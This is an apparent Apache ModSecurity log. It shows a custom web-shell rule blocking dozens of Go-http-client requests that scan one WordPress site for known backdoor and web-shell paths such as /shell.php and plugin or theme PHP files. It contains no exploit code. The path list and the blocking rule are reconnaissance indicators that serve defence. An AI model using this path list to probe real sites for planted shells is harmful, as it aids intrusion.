[Sat Apr 25 13:54:37.428784 2026] [:error] [pid 44425:tid 44432] [client 193.37.32.133:56775] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "aexXHSUl-VlItvY2tR-MxgAAAMU"]
[Sat Apr 25 13:54:37.656507 2026] [:error] [pid 44320:tid 44377] [client 193.37.32.141:52981] [client 193.37.32.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "aexXHTmFqSpku_dij8jC7QAAAFU"]
[Sat Apr 25 13:54:38.142958 2026] [:error] [pid 44320:tid 44371] [client 193.37.32.152:42601] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config-sample.php"] [unique_id "aexXHjmFqSpku_dij8jC7wAAAE8"]
[Sat Apr 25 13:54:38.743444 2026] [:error] [pid 44321:tid 44397] [client 193.37.32.107:53057] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "aexXHo1b5lV-asWa_Y6UBAAAAI4"]
[Sat Apr 25 13:54:38.946142 2026] [:error] [pid 44319:tid 44337] [client 193.37.32.148:32221] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/news-portal/sitebar.php"] [unique_id "aexXHszJPAVLUb2pWtKWkQAAAAg"]
[Sat Apr 25 13:54:39.144372 2026] [:error] [pid 44321:tid 44394] [client 193.37.32.158:49973] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aexXH41b5lV-asWa_Y6UBgAAAIs"]
[Sat Apr 25 13:54:39.364316 2026] [:error] [pid 44321:tid 44387] [client 193.37.32.169:21695] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aexXH41b5lV-asWa_Y6UCAAAAIQ"]
[Sat Apr 25 13:54:39.654678 2026] [:error] [pid 46083:tid 46089] [client 193.37.32.145:50339] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/fukasawa/inc/classes/403.php"] [unique_id "aexXHzxw_Zq74vWdjmnp4wAAAQI"]
[Sat Apr 25 13:54:39.875028 2026] [:error] [pid 44321:tid 44401] [client 193.37.32.177:51255] [client 193.37.32.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aexXH41b5lV-asWa_Y6UCgAAAJI"]
[Sat Apr 25 13:54:40.070774 2026] [:error] [pid 44319:tid 44329] [client 193.37.32.147:60493] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/PHPMailer/s"] [unique_id "aexXIMzJPAVLUb2pWtKWkgAAAAA"]
[Sat Apr 25 13:54:40.270793 2026] [:error] [pid 44319:tid 44346] [client 193.37.32.154:37245] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "aexXIMzJPAVLUb2pWtKWlAAAABE"]
[Sat Apr 25 13:54:40.531583 2026] [:error] [pid 44321:tid 44383] [client 193.37.32.175:56827] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aexXII1b5lV-asWa_Y6UCwAAAIA"]
[Sat Apr 25 13:54:40.762170 2026] [:error] [pid 44319:tid 44340] [client 193.37.32.168:57715] [client 193.37.32.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/comments/feed/"] [unique_id "aexXIMzJPAVLUb2pWtKWlQAAAAs"]
[Sat Apr 25 13:54:40.962485 2026] [:error] [pid 44321:tid 44392] [client 193.37.32.144:49969] [client 193.37.32.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aexXII1b5lV-asWa_Y6UDAAAAIk"]
[Sat Apr 25 13:54:41.159393 2026] [:error] [pid 44321:tid 44384] [client 193.37.32.143:52497] [client 193.37.32.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/updates.php"] [unique_id "aexXIY1b5lV-asWa_Y6UDQAAAIE"]
[Sat Apr 25 13:54:41.832538 2026] [:error] [pid 44320:tid 44376] [client 193.37.32.177:30517] [client 193.37.32.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/"] [unique_id "aexXITmFqSpku_dij8jC9AAAAFQ"]
[Sat Apr 25 13:54:42.356318 2026] [:error] [pid 44319:tid 44345] [client 193.37.32.164:58973] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/system_core.php"] [unique_id "aexXIszJPAVLUb2pWtKWlwAAABA"]
[Sat Apr 25 13:54:42.568406 2026] [:error] [pid 46083:tid 46104] [client 193.37.32.156:43069] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/filester/assets/css/404.php"] [unique_id "aexXIjxw_Zq74vWdjmnp5QAAARE"]
[Sat Apr 25 13:54:42.768102 2026] [:error] [pid 44319:tid 44349] [client 193.37.32.137:63685] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/archives/"] [unique_id "aexXIszJPAVLUb2pWtKWmQAAABQ"]
[Sat Apr 25 13:54:42.969163 2026] [:error] [pid 44319:tid 44330] [client 193.37.32.140:35979] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "aexXIszJPAVLUb2pWtKWmgAAAAE"]
[Sat Apr 25 13:54:43.169199 2026] [:error] [pid 44319:tid 44353] [client 193.37.32.172:58989] [client 193.37.32.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "aexXI8zJPAVLUb2pWtKWmwAAABg"]
[Sat Apr 25 13:54:43.453656 2026] [:error] [pid 44425:tid 44448] [client 193.37.32.107:37785] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aexXIyUl-VlItvY2tR-MyAAAANU"]
[Sat Apr 25 13:54:43.667751 2026] [:error] [pid 44321:tid 44397] [client 193.37.32.175:53169] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/index/function.php"] [unique_id "aexXI41b5lV-asWa_Y6UDwAAAI4"]
[Sat Apr 25 13:54:43.918612 2026] [:error] [pid 44320:tid 44357] [client 193.37.32.131:27353] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aexXIzmFqSpku_dij8jC9gAAAEE"]
[Sat Apr 25 13:55:04.178453 2026] [:error] [pid 44320:tid 44359] [client 193.37.32.134:45135] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/"] [unique_id "aexXODmFqSpku_dij8jC_wAAAEM"]
[Sat Apr 25 13:55:04.434969 2026] [:error] [pid 44425:tid 44439] [client 193.37.32.156:20917] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/"] [unique_id "aexXOCUl-VlItvY2tR-M2QAAAMw"]
[Sat Apr 25 13:55:04.872784 2026] [:error] [pid 44319:tid 44344] [client 193.37.32.150:61809] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/images/"] [unique_id "aexXOMzJPAVLUb2pWtKWrAAAAA8"]
[Sat Apr 25 13:55:15.576367 2026] [:error] [pid 44320:tid 44375] [client 193.37.32.133:44393] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-wlx.php"] [unique_id "aexXQzmFqSpku_dij8jDAwAAAFM"]
[Sat Apr 25 13:55:15.819719 2026] [:error] [pid 44320:tid 44374] [client 193.37.32.169:58909] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/radio.php"] [unique_id "aexXQzmFqSpku_dij8jDBQAAAFI"]
[Sat Apr 25 13:55:16.054952 2026] [:error] [pid 44319:tid 44347] [client 193.37.32.170:33755] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/light/"] [unique_id "aexXRMzJPAVLUb2pWtKWvwAAABI"]
[Sat Apr 25 13:55:16.372690 2026] [:error] [pid 44319:tid 44332] [client 193.37.32.170:27509] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/"] [unique_id "aexXRMzJPAVLUb2pWtKWwAAAAAM"]
[Sat Apr 25 13:55:16.571091 2026] [:error] [pid 44321:tid 44396] [client 193.37.32.107:50471] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/test.php"] [unique_id "aexXRI1b5lV-asWa_Y6UGgAAAI0"]
[Sat Apr 25 13:55:16.850867 2026] [:error] [pid 44320:tid 44380] [client 193.37.32.154:29263] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/"] [unique_id "aexXRDmFqSpku_dij8jDCAAAAFg"]
[Sat Apr 25 13:55:17.176107 2026] [:error] [pid 44320:tid 44362] [client 193.37.32.132:44221] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/"] [unique_id "aexXRTmFqSpku_dij8jDCgAAAEY"]
[Sat Apr 25 13:55:17.377124 2026] [:error] [pid 44321:tid 44397] [client 193.37.32.112:42823] [client 193.37.32.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/private/"] [unique_id "aexXRY1b5lV-asWa_Y6UGwAAAI4"]
[Sat Apr 25 13:55:22.628779 2026] [:error] [pid 44319:tid 44330] [client 193.37.32.135:26887] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aexXSszJPAVLUb2pWtKWxAAAAAE"]
[Sat Apr 25 13:55:32.849979 2026] [:error] [pid 44320:tid 44359] [client 193.37.32.165:58405] [client 193.37.32.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/about.php"] [unique_id "aexXVDmFqSpku_dij8jDIgAAAEM"]
[Sat Apr 25 13:55:33.221007 2026] [:error] [pid 44425:tid 44432] [client 193.37.32.170:59571] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/"] [unique_id "aexXVSUl-VlItvY2tR-M6AAAAMU"]
[Sat Apr 25 13:55:33.454196 2026] [:error] [pid 46083:tid 46100] [client 193.37.32.138:49803] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aexXVTxw_Zq74vWdjmnp7gAAAQ0"]
[Sat Apr 25 13:55:33.860930 2026] [:error] [pid 44425:tid 44433] [client 193.37.32.176:34223] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wa/"] [unique_id "aexXVSUl-VlItvY2tR-M6wAAAMY"]
[Sat Apr 25 13:55:44.061955 2026] [:error] [pid 46083:tid 46107] [client 193.37.32.164:47455] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aexXYDxw_Zq74vWdjmnp9gAAARM"]
[Sat Apr 25 13:55:44.266067 2026] [:error] [pid 44319:tid 44346] [client 193.37.32.133:40317] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/"] [unique_id "aexXYMzJPAVLUb2pWtKWzQAAABE"]
[Sat Apr 25 13:55:44.526429 2026] [:error] [pid 46083:tid 46099] [client 193.37.32.143:25081] [client 193.37.32.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-activate.php"] [unique_id "aexXYDxw_Zq74vWdjmnp9wAAAQw"]
[Sat Apr 25 13:55:49.758143 2026] [:error] [pid 44425:tid 44446] [client 193.37.32.106:29337] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/"] [unique_id "aexXZSUl-VlItvY2tR-M9QAAANM"]
[Sat Apr 25 13:55:49.959700 2026] [:error] [pid 44425:tid 44430] [client 193.37.32.170:44643] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aexXZSUl-VlItvY2tR-M9gAAAMM"]
[Sat Apr 25 13:55:55.229279 2026] [:error] [pid 44321:tid 44390] [client 193.37.32.173:27849] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/images/"] [unique_id "aexXa41b5lV-asWa_Y6UMwAAAIc"]
[Sat Apr 25 13:56:00.472540 2026] [:error] [pid 44321:tid 44395] [client 193.37.32.146:44187] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/components/"] [unique_id "aexXcI1b5lV-asWa_Y6UZQAAAIw"]
[Sat Apr 25 13:56:00.681726 2026] [:error] [pid 44321:tid 44398] [client 193.37.32.173:64051] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aexXcI1b5lV-asWa_Y6UZwAAAI8"]
[Sat Apr 25 13:56:00.930798 2026] [:error] [pid 46083:tid 46110] [client 193.37.32.168:42367] [client 193.37.32.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aexXcDxw_Zq74vWdjmnp-wAAARY"]
[Sat Apr 25 13:56:01.150778 2026] [:error] [pid 44321:tid 44404] [client 193.37.32.109:46235] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aexXcY1b5lV-asWa_Y6UagAAAJU"]
[Sat Apr 25 13:56:01.354692 2026] [:error] [pid 44425:tid 44450] [client 193.37.32.163:24231] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/"] [unique_id "aexXcSUl-VlItvY2tR-M-gAAANc"]
[Sat Apr 25 13:56:01.649118 2026] [:error] [pid 44425:tid 44451] [client 193.37.32.152:27017] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "aexXcSUl-VlItvY2tR-M-wAAANg"]
[Sat Apr 25 13:56:02.054926 2026] [:error] [pid 44321:tid 44394] [client 193.37.32.169:52863] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "aexXco1b5lV-asWa_Y6UbAAAAIs"]
[Sat Apr 25 13:56:02.744913 2026] [:error] [pid 44321:tid 44390] [client 193.37.32.138:31203] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aexXco1b5lV-asWa_Y6UbgAAAIc"]
